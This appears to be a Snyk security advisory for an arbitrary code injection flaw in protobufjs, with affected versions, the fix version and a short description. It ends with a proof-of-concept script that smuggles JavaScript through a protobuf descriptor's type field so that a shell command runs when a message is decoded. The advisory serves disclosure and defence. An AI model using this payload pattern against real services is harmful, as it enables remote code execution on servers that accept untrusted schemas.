Arbitrary Code Injection Affecting protobufjs package, versions >=7.5.2 <7.5.5>=8.0.0-experimental <8.0.1
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Start learning- Snyk IDSNYK-JS-PROTOBUFJS-16094665
- published17 Apr 2026
- disclosed16 Apr 2026
- creditCristian-Alexandru Staicu
Introduced: 16 Apr 2026
NewCVE-2026-41242 (opens in a new tab)How to fix?
Upgrade protobufjs to version 7.5.5, 8.0.1 or higher.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the type field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.
PoC
onst protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
const user = UserType.decode(userBytes);
} catch (e) {}